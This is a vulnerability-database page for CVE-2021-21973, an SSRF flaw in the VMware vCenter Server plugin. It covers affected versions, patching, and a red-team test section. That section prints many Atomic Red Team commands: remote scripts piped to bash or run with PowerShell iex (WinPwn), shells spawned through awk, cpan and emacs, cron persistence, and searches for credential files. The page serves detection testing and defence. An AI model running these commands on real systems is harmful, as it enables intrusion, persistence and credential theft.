CVE-2021-21973
Overview
This vulnerability is a Server Side Request Forgery (SSRF) arising from insufficient validation of URLs within a vCenter Server plugin used by the vSphere Client (HTML5). The flaw exists in the processing of POST requests sent to the plugin, specifically affecting the URL parameters that are not properly sanitized. The affected component is the vCenter Server plugin handling network requests on port 443, across multiple versions of VMware vCenter Server and VMware Cloud Foundation.
Vulnerability Description
The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects: VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
Impact
An attacker with network access to port 443 can exploit this vulnerability without authentication or user interaction to induce the vCenter Server to send arbitrary HTTP requests. This may lead to unauthorized information disclosure by accessing internal resources or sensitive data. The ability to manipulate server-side requests can facilitate further attacks such as internal reconnaissance or pivoting within the network, potentially compromising business-critical management infrastructure.
Solution
VMware has addressed this vulnerability in advisory VMSA-2021-0002. Users should upgrade VMware vCenter Server to versions 7.0 U1c or later, 6.7 U3l or later, and 6.5 U3n or later. Similarly, VMware Cloud Foundation should be updated to versions 4.2 or later and 3.10.1.2 or later. Detailed patching instructions and version-specific guidance are available at https://www.vmware.com/security/advisories/VMSA-2021-0002.html.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (43)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vmware | Cloud Foundation | All |
cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
|
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|
Vmware | Cloud Foundation | All |
cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1d:*:*:*:*:*:*
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|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1e:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1g:*:*:*:*:*:*
|
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|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2g:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update3:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update3d:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update3f:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
freakanonymous/CVE-2021-21973-Automateme
automate me!
|
freakanonymous | 1 | 1 | 2021-03-16 | View |
Threat Feed
10 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
33%
|
High | High |
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-21973 |
| vmware.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.vmware.com/security/advisories/VMSA-2021-0002.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21973 |